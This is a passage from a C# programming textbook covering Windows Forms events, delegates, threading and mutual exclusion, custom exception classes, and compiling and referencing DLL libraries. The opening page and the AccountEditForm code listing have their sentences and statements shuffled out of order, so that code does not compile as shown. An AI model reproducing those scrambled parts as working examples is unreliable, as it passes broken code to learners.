Instead it prints out a message each time the button is pressed. C# Programming © Rob Miles 2010 159 . The EventHandler delegate class is in the System namespace and can refer to methods which are void and accept two parameters. This is a standard technique for using windows components. We passed it a reference to our account and it managed the edit process. If you compile the above program and run it you will find that each time you press the Finish button the program prints out a message.4. In the completed editor this method will finish the edit off for us. for example when we are capturing mouse movement events. EventArgs e) { Console. If you remember our text editing code you will recall that we had an object which did the editing for us. 5. often our methods will ignore the values supplied. Extending the Windows Form class It turns out that the best way to create a class to do this job is to extend the Form class to make a new form of our own. And the way that you create customised versions of classes is to extend them. sometimes. The idea is that when the form is created the constructor in the form makes all the components and adds them to the form in the appropriate places. returning when the edit was complete. However.Advanced Programming A Graphical User Interface } private static void finishButton_Click( object sender. In the code above I have an event handler method called finishButton_Click which accepts these parameters (but doesn't do anything with them).WriteLine ("Finish Pressed"). To make a proper account editor we need to create a class which will do this job for us. This is because I have made everything by hand and there is no edit object as such.3 An Account Edit Form My example code above is OK for showing how the forms work and components are added to them. This will be used in almost exactly the same way as the text editor. Our form can then be regarded as a customised version of an empty form. but it is not production code. Note that we don’t actually have to use the parameters. } } The highlighted code is the bit that ties a delegate to the click event. we might want to use them to provide information such as the mouse coordinates. a reference to the object which caused the event and a reference to an EventArgs instance which contains details about the event which occurred.
this. this. } } The form will be passed a reference to the account instance which is being edited.nameTextBox.finishButton. using System. this.ValidateName(nameTextBox.Length > 0 ) { System. this. this. this. public AccountEditForm (IAccount inAccount) { this. this.account.Windows.Form { private Label nameLabel.Windows.Controls.Left=100.MessageBox. this.Controls.Windows. The finishButton_Click method gets the name out of the text box and validates it. private Button finishButton. private TextBox nameTextBox.Text = this.Forms.Controls.nameTextBox.Left=100.Text) . All the form components are created in the constructor for the form.finishButton = new Button().Add(this.Add(this. this.nameTextBox).finishButton).nameLabel.finishButton.nameLabel.Forms.Left=0. return.Advanced Programming A Graphical User Interface using System.nameLabel).Text).Top=80. If the name is invalid it uses a static method in the windows forms system to pop up a message box and report an error: C# Programming © Rob Miles 2010 160 .Dispose().Click += new System.finishButton.finishButton. When the user presses the finish button the form must make sure that the name is valid.EventHandler(finishButton_Click).Show(reply) . this. This code is the windows equivalent of the AccountEditTextUI method that we created previously.account = inAccount.EventArgs e) { string reply = account.SetName( nameTextBox. this. if ( reply. It then gets the properties out of the form and displays them for editing.Add(this. If it is the name of the account class should be set and the form must then dispose of itself. public class AccountEditForm : System. this. } this. IAccount account.nameLabel = new Label().Forms. this. } private void finishButton_Click(object sender.GetName(). this. System.Top=50.Top=50.Text="Name". this.Text="Finished".nameTextBox = new TextBox(). this.nameTextBox. this.nameLabel.account.
The Dispose method is important because we must explicitly say when we have finished with the instance. This means that while the form is on the screen the rest of the system is paused. There are a number of different forms of this Show method which you can use to get different forms of message box and even add extra buttons to it.Advanced Programming A Graphical User Interface This is how we tell the user that the name is not correct. Disposing of forms The Dispose method is used when we have finished with this form and we want to get rid of it. a. This piece of test code creates an account and sets the name of the account holder to Rob. Account a = new Account(). AccountEditForm edit = new AccountEditForm (a). If we just removed a reference to the form object it will still remain in memory until the garbage collector gets around to noticing it.ShowDialog(). Once we have disposed of a form we can never use it again. The good news is that with something like Visual Studio it is very easy to produce quite realistic looking prototypes of the front end of a system. In the code above the WriteLine is not performed until after the edit form has been closed. the fundamental principles that drive the forms it produces are exactly the same. The design of this should start at the very beginning of the product and be refined as it goes. it is important to remember that although it automates a lot of the actions that I have performed by hand above. Never. ever assume you know that the user interface should work in a particular way.WriteLine ( "Name value : " + a. C# Programming © Rob Miles 2010 161 . Modal Editing The call of ShowDialog in the edit form is modal. All the components on the form are destroyed and the form is removed from the screen. These can then be shown to the customer (get them signed off even) to establish that you are doing the right thing.GetName()). Using the Edit form To use the edit form we must first construct an account instance. edit. Programmer’s Point: Customers really care about the user interface If there is one part of the system which the customer is guaranteed to have strong opinions about it is the user interface. We then pass a reference to the account into the constructor of an AccountEditForm. I have had to spend more time re-working user interface code than just about any other part of the system. Console. We will need to create a new form instead. It then creates an edit form and uses that to edit the name value in the account. However. It will also look after the creation of delegates for button actions. Visual Studio and Form Editing The Visual Studio application can take care of all the hard work of creating forms and adding components to them.SetName("Rob").
This word is used to distinguish a delegate from things like pointers which are used in more primitive languages like C. Therefore you should read this text carefully and make sure you understand what is going on. This means I can use it as a kind of method selector.5 Using Delegates Events and delegates are a very important part of C#. In each case we need to tell the system what to do when the event occurs. It might want to have a way in which a program can choose which fee calculation method to use as it runs. This means that you can call them in the wrong way and cause your program to explode. I've just told the compiler what the delegate type CalculateFee looks like. When the event occurs (this is sometimes called the event "firing") the method referred to by the event is called to deliver the message. If you call the delegate it calls the method it presently refers to.1 Type safe delegates The phrase type safe in this context means that if the method accepts two integer parameters and returns a string. The way that C# does this is by allowing us to create instances of delegate classes which we give the event generators. Note that I've not created any delegates yet. 5. They include stuff like people pressing buttons in our user interface.Advanced Programming Using Delegates 5. but they are hard wired into the code that I write.5. clocks going tick and messages arriving via the network. Delegates are an important part of how events are managed in a C# program. but the C environment does not know (or even care) what the methods really look like. Once I've compiled the class the methods in it cannot change. Using a Delegate As an example. for example we provided a custom WithdrawFunds for the BabyAccount class which only lets us draw out a limited amount of cash. An example of a method we might want to use with this delegate you could consider is this one: C# Programming © Rob Miles 2010 162 . We have seen that things like overriding let us create methods which are specific to a particular type of object. Events are things that happen which our program may need to respond to. In C you can create pointers to methods. Delegates are useful because they let us manipulate references to methods. A posh description would have the form: A delegate is a type safe reference to a method in a class. A delegate type is created like this: public delegate decimal CalculateFee (decimal balance). Just remember that delegates are safe to use. These techniques are very useful. The bank will have a number of different methods which do this. Don’t worry about this too much. consider the calculation of fees in our bank. This delegate can stand in for a method which accepts a single decimal parameter (the balance on the account) and returns a decimal value (the amount we are going to charge the customer). depending on the type of customer and the status of that customer. I call a delegate ―A way of telling a piece of program what to do when something happens‖. the delegate for that method will have exactly the same appearance and cannot be used in any other way. A delegate is a "stand in" for a method. We can manage which particular method is going to be called in a given situation in terms of a lump of data which we can move around.
Programmer’s Point: Use Delegates Sensibly Allowing programs to change what they do as they run is a rather strange thing to want to do. where the speed of computer processors is going to be limited by irritating things like the speed of light and the size of atoms.6 Threads and Threading If you want to call yourself a proper programmer you need to know something about threads.1 What is a thread? At the moment our programs are only using a single thread when they run. This of course only works if FriendlyFee is a method which returns a value of type decimal and accepts a single decimal value as a parameter.Advanced Programming Threads and Threading public decimal RipoffFee (decimal balance) { if ( balance < 0 ) { return 100.6. it is best just to consider them in terms of how we use delegates to manage the response of a program to events. I don’t use them much beyond this in programs that I write. The thread usually starts in the Main method and finishes when the end of this method is reached. You can visualise a thread as a train running along a track. An instance of a delegate is an object like any other. I’m presenting this as an example of how delegates let a program manipulate method references as objects. so I can build structures which contain delegates and I can also pass delegates in and out of methods. 5. } } This is a rather evil fee calculator. but they can also be the source of really nasty bugs. Now I can "call" the delegate and it will actually run the ripoff calculator method: fees = calc(100). If you are overdrawn the fee is 100 pounds. they are the way that we will be able to keep on improving the performance of our computer systems. Now when I "call" calc it will run the FriendlyFee method. In the same way that you can put more than one train on a C# Programming © Rob Miles 2010 163 . This gives us another layer of abstraction and means that we can now design programs which can have behaviours which change as the program runs. If you are in credit the fee is 1 pound. I can change that by making another delegate: calc = new CalculateFee (FriendlyFee). The track is the statements that the thread is executing. They can make programs much easier to create. The calc delegate presently refers to a delegate instance which will use the RipoffFee method. In the future. You can regard a list of delegates as a list of methods that I can call. 5. } else { return 1. This means that it can be managed in terms of references. For now however. rather than as a good way to write programs. Delegates are used a lot in event handlers and also to manage threads (as you will see below). If I want to use this in my program I can make an instance of CalculateFee which refers to it: CalculateFee calc = new CalculateFee (RipoffFee).
As far as the thread is concerned it is running continuously. A computer can support multiple threads in two ways. The second way to support multiple threads is to actually have more than one processor. in that if we wish to do more than one thing at the same time it is very useful just to send a thread off to perform the task. You have not been aware of this because the operating system (usually Windows) does a very good job of sharing out the processing power. count < 1000000000000L. You have seen that a ―click‖ event from a Button component can be made to run an event handler method. and the circumstances that cause the fault may only occur every now and then. programs that use threads can also fail in spectacular and confusing ways. waiting for its turn to run. and I suggest that you follow these carefully. Bugs caused by threading are amongst the hardest ones to track down and fix because you have to make the problem happen before you can fix it. The programs that you have been writing and running have all executed as threads in your computer.3 Threads and Processors Consider the following method: static private void busyLoop() { long count. Newer machines now have ―dual core‖ or even ―quad core‖ processors which can actually run multiple threads simultaneously. Threads provide another level of ―abstraction‖. The first is by rapidly switching between active threads.Advanced Programming Threads and Threading single track. If we wrote a word processor we might find it useful to create threads to perform time consuming tasks like printing or spell checking. These could be performed ―in the background‖ while the user continues to work on the document. count = count+1) { } } C# Programming © Rob Miles 2010 164 . rather than try interleaving the second task with the first. giving each thread the chance to run for a limited time before moving on to run another. but in reality a thread may only be active for a small fraction of a second every now and then. Programmer’s Point: Threads can be dangerous In the same way that letting two trains share the same railway track can sometimes lead to problems. Your system can play music and download files while your program waits for you to press the next key. it makes sense to share this ability amongst several tasks. a computer can run more than one thread in a single block of program code. 5. This is how your program can be active at the same time as other programs you may wish to use alongside it.6. 5. A modern computer can perform many millions of instructions per second. The first computers had only one processor and so were forced to use ―time slicing‖ to support multiple threads. When a thread is not running it is held in a ―frozen‖ state.2 Why do we have threads? Threads make it possible for your computer to do something useful while one program is held up. The Windows system actually creates a new thread of execution which runs the event handler code. for (count = 0. It is possible for systems to fail only when a certain sequence of events causes two previously well behaved threads to “fight” over a shared item of data. I’m going to give some tips on how to make sure that your programs don’t fall foul of threading related bugs.6. Threads are also how Windows forms respond to events.
If I run a program that calls this method the first thing that happens is that the program seems to stop. Then the fan in my laptop comes on as the processor starts to heat up as it is now working hard. 5. which means that it can run four threads at a time. This class lives in the System namespace.Advanced Programming Threads and Threading This method does nothing. the leftmost processor and the rightmost processor are quite busy but the middle two processors are not doing anything. but it does do it many millions of times. The easiest way to make sure that we can use all the threading resources is to add a using directive at the start of our program: using System. If I stop my program running I get a display like the one below.Threading.4 Running a Thread An individual thread is managed by your program as an instance of the Thread class. Now all the processors are just ticking over. Programmer’s Point: Multiple Threads Can Improve Performance If you can work out how to spread your program over several threads this can make a big difference to the speed it runs at. We have used namespaces to locate resources before when we used files. From the look of the above graph. You can see little graphs under the CPU (Central Processor Unit) Usage History part of the display showing how busy each processor is. since it only runs on one of the four available processors. One job of the operating system is to manage threads on your computer and decide C# Programming © Rob Miles 2010 165 .6. The Thread class provides a link between your program and the operating system. When we start using more than one thread we should see more of the graphs climbing up. If I start up Windows Task Manager I see the picture below: My laptop has four processor cores. as my programs run on multiple processors. The method above can only ever use a maximum of 25% of my system.
Note that at the moment the thread is not running. By calling methods provided by the Thread class you can start and stop them. This changes the Task Manager display: C# Programming © Rob Miles 2010 166 . for (count = 0. It also calls busyLoop directly from the Main method. The delegate type used by threads is the ThreadStart type. it is waiting to be started.Start(). t1.Start(). count = count+1) { } } static void Main() { ThreadStart busyLoopMethod = new ThreadStart(busyLoop). The variable t1 now refers to a thread instance. This means that there are two processes active. Creating a Thread Once you have your start point defined you can now create a Thread value: Thread t1 = new Thread(busyLoopMethod). Starting a Thread The Thread class provides a number of methods that your program can use to control what it does. This is like telling your younger brother where on the track you’d like him to place your train. A delegate is a way of referring to a method in a class.Advanced Programming Threads and Threading exactly when each should get to run. Selecting where a Thread starts running When you create a thread you need to tell the thread where to start running. You can create a ThreadStart delegate to refer to this method as follows: ThreadStart busyLoopMethod = new ThreadStart(busyLoop). class ThreadDemo { static private void busyLoop() { long count. This is the point at which the thread begins to run. To start the thread running you can use the Start method: t1. You do this by using delegates. If you take a look at the busyLoop method above you will find that this method fits the bill perfectly. busyLoop(). Thread t1 = new Thread(busyLoopMethod). count < 1000000000000L. This delegate type can refer to a method that does not return a value or accept any parameters. When we start running t1 it will follow the delegate busyLoopMethod and make a call to the busyloop method. } } The above code creates a thread called t1 and starts it running the busyLoop method.
} This loop will create 100 threads. i < 100. This makes your computer unusable by starting a huge number of threads which tie up the processor. t1. Now our computer is really busy: All the processors are now maxed out. i = i + 1) { Thread t1 = new Thread(busyLoopMethod). Programmer’s Point: Two Many Threads Will Slow Everything Down Note that nothing has stopped your program from starting a large number of threads running.Advanced Programming Threads and Threading Now more of the usage graphs are showing activity and the CPU usage is up from 25% to 50% as our program is now using more processors. C# Programming © Rob Miles 2010 167 .Start(). If you run this code you might actually find that the machine becomes slightly less responsive. and the CPU usage is up to 100%. This is actually the basis of a type of attack on your computer. This is potentially dangerous. we can create many more threads than this: for (int i = 0. and that all the cooling fans come on full blast. Making lots of Threads From the displays above you can see that if we create an additional thread we can use more of the power the computer gives us. Fortunately Windows boosts the priority of threads that deal with user input so you can usually get control and stop such wayward behaviour. all running the busyLoop method. If you run too many threads at once you will slow everything down. In fact. called a Denial of Service attack.
Advanced Programming Threads and Threading 5. it has overwritten the changes that Thread 20 made. 3. for (count = 0.6. but now every thread running busyLoop is sharing the same count variable. C# Programming © Rob Miles 2010 168 . Sometime later Thread 1 gets control again. When they entered the single track they were given the token. 4. it is as if the data for each thread is held in trucks that are pulled along behind the train. static object sync = new object(). Because of the way that Thread 1 was interrupted during its calculation. The statement count = count + 1. We could make a tiny change to this code and make the count variable a member of the class: static long count. Anyone wanting to enter the track had to wait for their turn with the token. Before the addition can be performed. count = count + 1) { } } The method looks very similar. Using Mutual Exclusion to Manage Data Sharing Allowing two threads to share the same variable is a bit like allowing two trains to share the same piece of track. 2.5 Threads and Synchronisation You might be wondering why all the threads don’t fight over the value of count that is being used as the loop counter. incrementing and storing the value of count and overwriting changes that they have made. Thread 20 fetches the value of count. adds one to it and stores it back in memory. If you are still thinking about threads as trains. Thread 1 fetches the value of the count variable so that it can add 1 to it. Consider the following sequence of actions: 1. It is now very hard to predict how long this multi-threaded program will take to finish. Thread 1 is stopped and Thread 20 is allowed to run. Both are dangerous. must be allowed to complete without being interrupted. adds 1 to the value it fetched before it was stopped and stores the result back in memory. When the train left the single track section the driver handed the token back. This is potentially disastrous. count < 1000000000000L. Mutual exclusion works in just the same way by using an instance of an object to play the role of the token. The single track problem was solved by using a single brass token which was held by the engine driver. As the threads run they are all loading. What we need is a way of stopping the threads from interrupting each other. count < 1000000000000L. We can return to our train analogy here. static private void busyLoop() { for (count = 0. You can do this by using a feature called mutual exclusion or mutex. This is because the variable is local to the busyLoop method: static private void busyLoop() { long count. This means that each method has its own copy of this local variable. count = count+1) { } } The count variable is declared within the body of the method.
we don’t need to know how it works. Another one. perhaps to allow the user to read the output or to wait a little while for something to happen you should use the Sleep method which is provided by the Thread class: Thread. Monitor. This method is given the number of milliseconds (thousandth’s of a second) that the execution is to pause. This is the computer version of “I’m not calling him to apologise. 5. In our examples above.Enter and Monitor. If you just want your program to pause. Threads that aren’t able to run are ―parked‖ in a queue of waiting threads. Thread Control The Thread class provides a set of methods that you can use to control the execution of a thread. The Monitor class looks after all this for us.Enter(sync). so the first thread to get to the entry point will be the first to get the token. Pausing Threads As you can see above.6. You can abort a thread by calling its Abort method: t1. A thread finishes when it exits the method that was called when it started.Advanced Programming Threads and Threading This object doesn’t actually hold any data. In other words. These let you pause threads. each thread will end when the call of busyloop finishes. there is no chance of Windows interrupting the increment statement and switching to another process. wait for a thread to finish. C# Programming © Rob Miles 2010 169 .Join(). called the “Deadly Embrace” is where thread a has got object x and is waiting for object y. Joining Threads You might want to make one thread wait for another to finish working. one way to ―pause‖ a thread is to create a loop with an enormous limit value. Once execution leaves the statements between the Monitor calls the thread can be suspended as usual. This would cause the executing thread to wait until the thread t1 finishes. The above call would pause a program for half a second.Abort(). t1.Sleep(500). It is just used as the token which is held by the active process.Exit(sync). This will certainly pause your program. The code between the Monitor.6 Thread Control There are a number of additional features available for thread management. with the other threads lining up for their turn. Programmer’s Point: Threads can Totally Break your Program If a thread grabs hold of a synchronisation object and doesn’t let go of it. This is a really good way to make your programs fail. see if a thread is still active and suspend and remove threads. A thread instance provides a Join method that can be called to wait for another thread to complete operation.Exit calls can only be performed by one thread at a time. and thread b has got object y and is waiting for object x. I’m going to wait for him to call me”. count = count + 1. Monitor. This asks the operating system to destroy that thread and remove it from memory. This queue is held in order. All the increment operations will complete in their entirety. this will stop other threads from running if they need that object. but at the expense of any other threads that want to run.
7 Staying Sane with Threads Threads are very useful.Suspend ThreadState. When you have problems with a multi-threaded system the biggest difficultly is always making the fault occur so you can fix it. This is an enumerated value which has a number of possible values.ThreadState == ThreadState. at which point we can begin to fix it.Advanced Programming Threads and Threading If you don’t want to destroy a thread. If consumers are always waiting for producers C# Programming © Rob Miles 2010 170 . Finding the state of a thread You can find out the state of a thread by using its ThreadState property. You should protect any variables shared between threads by using the Monitor class as described above. The thread is put to sleep until you call the Resume method on that thread. If variables sometimes get ―out of step‖ then this is a sure sign that you have several threads fighting over data items. when a specific set of timing related events occur. We know that our programs sometimes produce errors when they run. Unfortunately when you add multi-threading to a solution this is no longer true. The most useful are: ThreadState. time spent writing the log output affects the timing of events in the program and can often cause a fault to move or. t1. Of course. threads can also be a great source of frustration. is to create a multi-threaded application which starts up a thread to deal with each incoming request.Running ThreadState.WaitSleepJoin the thread is running the thread has finished executing the thread method the thread has been suspended the thread is executing a Sleep. You should try to avoid any ―Deadly Embrace‖ situations by making your threads either producers or consumers of data.Stopped ThreadState. They let your program deal with tasks by firing off threads of execution. or just lock up completely. you can call the Suspend method on the thread: t1.Suspend(). This is mostly because we have done something wrong. } 5. When we get a problem we look at what has happened and then work out what the fault is. but simply make it pause for a while. for example a web server. vanish completely. This will cause the program to fail.6. However.Running ) { Console. The best way to create a system that must support many users. A program which works fine for 99. to display a message if thread t1 is running: if ( t1. Up until now our programs have been single threaded and we have been able to put in the data which causes the problem.999% of the time may fail spectacularly. This will stop inadvertent data corruption. Synchronisation problems like the ―Deadly Embrace‖ described above may only appear when two users both request a particular feature at exactly the same time. waiting to join with another thread or waiting for a Monitor As an example. Often the only way to investigate the problem is to add lots of write statements so that the program makes a log that you can examine after it has failed.Resume().WriteLine("Thread Running"). This makes the code easier to manage and also means that your program can make the best use of the processing power available. if you are very lucky.
This is actually a very important part of the design process. or a Parse method is given an invalid string. Programmer’s Point: Put Threads into your Design I think what I am really saying here is that any thread use should be designed into your program. When something bad happens the program must deal with this in a managed way.6. This class is held in the System. 5. When you are using a word processor and a web browser at the same time on your computer each of them is running on your computer as a different process.8 Threads and Processes You can regard different threads as all living in the computer together in the same way that a number of trains can share a particular railway. in that each process has its own memory space which is isolated from other processes. The above line of C# would start the Notepad program. The key to achieving this is to think about making your own custom exceptions for your system. so you can add a Using statement to make it easier to get hold of the class: using System.Diagnostics namespace. Processes are different from threads. The next step up is to have more than one railway. Now we are going to take a closer look at exceptions and see about creating our own exception types.Start("Notepad. You should also be thinking that when you build a system you should consider how you are going to manage the way that it will fail. We have seen that if something bad happens whilst a file is being read. 5. We have been on the receiving end of exceptions already.. In a C# program you can create a process and start it in a similar way to starting a thread.Advanced Programming Structured Error Handling (and producers never wait for consumers) then you can be sure that you never get the situation where one thread waits for a thread that is waiting for it. You can also create Process instances that you can control from within your program in a similar manner to threads. This means that potentially badly behaved code like this has to be enclosed in a try – catch construction so that our program can respond sensibly. Your word processor may fire off several threads that run within it (perhaps one to perform spell checking).exe"). To start a program on your system you can use the Start method on the Process class: Process. the system will throw an exception to indicate that it is unhappy. In programming terms this is a move from threads to processes.Diagnostics. You can also use the Process class to start programs for you. C# Programming © Rob Miles 2010 171 . The Start method is supplied with the name of the program that you want to start. and not tacked on afterwards. If you want to use threads the way that they are managed and how they communicate should be decided right at the start of your design and your whole system should be constructed with them in mind. but nothing in the word processor program can ever directly access the variables in the browser.7 Structured Error Handling By now I hope that you are starting to think very hard about how programs fail.
7.Advanced Programming Structured Error Handling 5. can just use this to make an Exception instance.2 Creating your own exception type Creating your exception type is very easy. This might be a catch of mine. The default constructor in BankException (which is added automatically by the compiler).3 Throwing an Exception The throw keyword throws an exception at that point in the code. I can catch the exception myself as follows: C# Programming © Rob Miles 2010 172 .1 The Exception class The C# System namespace holds a large number of different exceptions. However. To create a standard exception with a message I pass the constructor a string. At this point the execution would transfer to the ―nearest‖ catch construction. there is a version of the Exception constructor which lets us add a message to the exception. 5. If you want to throw your own exceptions you are strongly advised to create your own exception type which extends the system one.Exception class has a default constructor which takes no parameters.Exception class.7. } The throw keyword is followed by a reference to the exception to be thrown. along with everything else in your system.Exception { } This works because the System.Exception { public BankException (string message) : base (message) { } } This makes use of the base keyword to call the constructor of the parent class and pass it the string message. in that the specification will give you information about how things can fail and the way that the errors are produced. but they are all based on the parent Exception class. This can be picked up and used to discover what has gone wrong. You can generate System. If I want to use this with my bank exception I have to sort out the constructor chaining for my exception class and write code as follows: public class BankException : System. For example.Length == 0 ) { throw new BankException( "Invalid Name" ). However. but this means that exceptions produced by your code will get mixed up with those produced by other parts of the system.Exception when something goes wrong. 5. or it might be one supplied by the system. you will need to design how your program will handle and generate errors. I might want to throw an exception if the name of my account holder is an empty string. This means that. If the exception is caught by the system it means that my program will be terminated.Exception class: public class BankException : System. It can be done by simply extending the System. I can do this with the code: if ( inName. This all (of course) leads back to the metadata which you have gathered. The thing that is thrown must be based on the System.7. In the code above I make a new instance of the bank exception and then throw that. If you want your code to be able to explicitly handle your errors the best way forward is to create one or more of your own exceptions.
depending on how the code fails: C# Programming © Rob Miles 2010 173 . This means that if I try to create an account with an empty name the exception will be thrown.Exception { public BankExceptionBadAddress (string message) : base (message) { } } Now I can use different catches. However. the catch invoked. } catch (BankException exception) { Console. try { a = new Account(newName. The Message member of an exception is the text which was given. the code in the exception handler is obeyed. Note that.Advanced Programming Structured Error Handling Account a. you should seriously consider extending the exception class to make error exceptions of your own which are even more informative. It can contain a text message which you can display to explain the problem to the user. newAddress). and the message printed. i. 5.Message). as with just about everything else. If the customer can say “Error number 25” when they are reporting a problem it makes it much easier for the support person to respond sensibly. The reference exception is set to refer to the exception which has been thrown. you need to design in your handling of errors. Programmer’s Point: Design your error exceptions yourself An exception is an object which describes how things have gone wrong. This helps a great deal in working with different languages.e.7. We can have many catch constructions if we like. your exceptions should be tagged with an error number.4 Multiple Exception Types It is worth spending time thinking about how the exceptions and errors in your system are to be managed. Errors should be numbered.Exception { public BankExceptionBadName (string message) : base (message) { } } public class BankExceptionBadAddress : System. } The code tries to create a new account. and the catch will be matched up to the type of exception that was thrown: public class BankExceptionBadName : System.WriteLine( "Error : " + exception. If doing this causes an exception to be thrown.
} Each of the catches matches a different type of exception. } catch (System. but now we are starting to write much larger programs and we need a better way to organise things. This might mean that you have to create special test versions of the system to force errors into the code.WriteLine("System exception : " + exception. This will be called if the exception is not a name or an address one. 5. When you create the system you decide how many and what kind of errors you are going to have to manage.Message). ""). This is fine for teeny tiny projects. They only get run when something bad happens. To do this we have to solve two problems: how we physically spread the code that we write around a number of files how we logically identify the items in our program. The two problems are distinct and separate and C# provides mechanisms for both. Programmer’s Point: Programs often fail in the error handlers If you think about it. and most of the time you will be using test data which assumes everything is OK. try { a = new Account("Rob". As a professional programmer you must make sure that your error handling code is tested at least as hard as the rest of the system.WriteLine("Invalid name : " + nameException. it is worth the effort! Error handling should be something you design in.Message).Advanced Programming Program Organisation Account a. 5. In this section we are going to see how a large program can be broken down into a number of different chunks. Believe me. which we compile and run.8 Program Organisation At the moment we have put the entire program source that we have created into a single file. error handlers are rather hard to test. since the code doesn’t get exercised as much as the rest of the system.8.1 Using Separate Source Files In a large system a programmer will want to spread the program over several different source files. } catch (BankExceptionBadName nameException) { Console. Of course this is a recipe for really big disasters. This means that errors are more likely to get left in the error handlers themselves. At the very end of the list of handlers I have one which catches the system exception. C# Programming © Rob Miles 2010 174 .WriteLine("Invalid address : " + addrException. } catch (BankExceptionBadAddress addrException) { Console. This is especially important when you consider that a given project may have many people working on it. When you design your solution to a problem you need to decide where all the files live. in that the error handler is supposed to put things right and if it fails it will usually make a bad situation much worse.Exception exception ) { Console.Message).
So. We could put it into a file called "Account.As I add more account management The problem is that the compiler now gets upset when I try to compile the file: error CS5001: AccountManagement. If I look at what has been created I find that the compiler has not made me an executable. Generally speaking your classes will be public if you want them to be used in libraries. This is so that classes in other files can make use of it. Note that I have made the Account class public.cs" if we wanted to. I use the target option to the compile command. Consider a really simple Account class: public class Account { private decimal balance = 0. } public bool WithDrawFunds ( decimal amount ) { if ( amount < 0 ) { return false . Our bank account class does not have a main method because the program will never start by actually running an account. These have an entry point in the form of the Main method. since it does not know where the program should start. The class will be called Account. we might want to create lots of other classes which will deal with bank accounts. Instead other programs will run and create accounts when they need them. } else { return false . instead it has made me a library file: C# Programming © Rob Miles 2010 175 . } } } This is a fairly well behaved class in that it won't let us withdraw more money than we have in the account. public void PayInFunds ( decimal amount ) { balance = balance + amount. } public decimal GetBalance () { return balance.cs The compiler will not now look for a Main method. the compiler cannot make an executable file. return true. } if ( balance >= amount ) { balance = balance .Advanced Programming Program Organisation In our bank management program we have identified a need for a class to keep track of a particular account. So instead I have decided to put the class into a file called "AccountManagement. because it has been told to produce a library rather than a program. The compiler can tell that it is being given an option because options always start with a slash character: csc /target:library AccountManagement. Creating a Library I solve this problem by asking the compiler to produce a library instead.cs".exe' does not have an entrypoint defined The compiler is expecting to produce an executable program. You can apply the protection levels to classes in the same way that you can protect class members. Options are a way of modifying what a command does.amount . However.
WriteLine ("Balance:" + test.dll The language extension dll stands for dynamic link library. class AccountTest { public static void Main () { Account test = new Account().exe the library containing the Account class code the executable program that creates an Account instance Both these files need to be present for the program to work correctly. which is the library that contains the required class. Firstly I'm going to create another source file called AccountTest.GetBalance()). Console. which causes further errors.3): error CS0246: The type or namespace name 'test' could not be found (are you missing a using directive or an assembly reference?) AccountTest. } } This makes a new account.37): error CS0246: The type or namespace name 'test' could not be found (are you missing a using directive or an assembly reference?) The problem is that the compiler does not know to go and look in the file AccountManagement.cs. In this case there is just the one file to look at.dll AccountTest. test.Advanced Programming Program Organisation AccountManagement. and so it can build the executable program. puts 50 pounds in it and then prints out the balance. This means that the content of this file will be loaded dynamically as the program runs. This means that it fails to create test.dll AccountTest.dll file and then run the program this causes all kinds of nasty things to happen: C# Programming © Rob Miles 2010 176 . To solve the problem I need to tell the compiler to refer to AccountManagement to find the Account class: csc /reference:AccountManagement. Library References at Runtime We have now made two files which contain program code: AccountManagement.cs to find the Account class. It means that library is only loaded when the program runs.cs The reference option is followed by a list of library files which are to be used.cs(6. The compiler now knows where to find all the parts of the application. Deleting System Components This means that if I do something horrid like delete the Acccountmanagement.cs(7.PayInFunds (50).3): error CS0246: The type or namespace name 'Account' could not be found (are you missing a using directive or an assembly reference?) AccountTest. Using a Library Now I have a library I next have to work out how to use it. This contains a Main method which will use the Account class: using System.cs(5. If I try to compile it I get a whole bunch of errors: AccountTest. This is because of the "dynamic" in dynamic link library. not when it is built.
If I modify the AccountManagement class and re-compile it. A far better way would be to say that we have a CustomerBanking namespace in which the word Account has a particular meaning. but if you don't do this you will either go mad or bankrupt. There is a special phrase. And here we are again. reserved for what happens. We have decided that Account is a sensible name for the class which holds all the details of a customer account. This makes management of the solution slightly easier. little pens on chains (pre-supplied with no ink in of course) and the like from suppliers. Unless the fixed code is exactly right there is a good chance that it might break some other part of the program. The good news is that I can fix the broken parts of the program without sending out an entire new version.8. rubber stamps. The bad news is that this hardly ever works. The bank will buy things like paper clips. The bad news is that you have to plan how to use this technology. consider the situation in our bank. We don't just want to break things into physical chunks. The good news is that there are ways of making sure that certain versions of your program only work with particular program files. We also want to use logical ones as well. and the number of times that I've installed a new program (or worse yet an upgrade of an existing one) which has broken another program on the computer is too numerous to happily remember. You could say that the bank has an account with such a supplier. "dll hell".FileNotFoundException: File or assembly name AccountManagement. Programmer’s Point: Use Version Control and Change Management So many things end up being rooted in a need for good planning and management. Updating System Components Creating a system out of a number of executable components has the advantage that we can update part of it without affecting everything else. was not found. Or both. Of course this only works as long as I don't change the appearance of the classes or methods which AccountTest uses. But if you consider the whole of the bank operations you find that the word "account" crops up all over the place. the new version is picked up by AccountTest automatically.Advanced Programming Program Organisation Unhandled Exception: System. Arrgh! We are now heading for real problems. Perhaps the programmers might decide that a sensible name for such a thing would be Account.2 Namespaces We can use library files to break up our solution into a number of files.IO.Main() … lots of other stuff This means that we need to be careful when we send out a program and make sure that all the components files are present when the program runs. or one of its dependencies. File name: "AccountManagement" at AccountTest. and then make sure you use it. and mean that at design time we have to make sure that we name all our classes in a way which will always be unique. If this sounds boring and pedantic then I'm very sorry. We can also have an C# Programming © Rob Miles 2010 177 . If you are not sure what I mean by this. When you think about selling your application for money you must make sure that you have a managed approach to how you are going to send out upgrades and fixes. If the two systems ever meet up we can expect a digital fight to the death about what "Account" really means. Which would be bad. We could solve the problem by renaming our account class CustomerBankAccount. But we also have another problem. But this would be messy. 5. Windows itself works in this way. It may well wish to keep track of these accounts using a computer system.
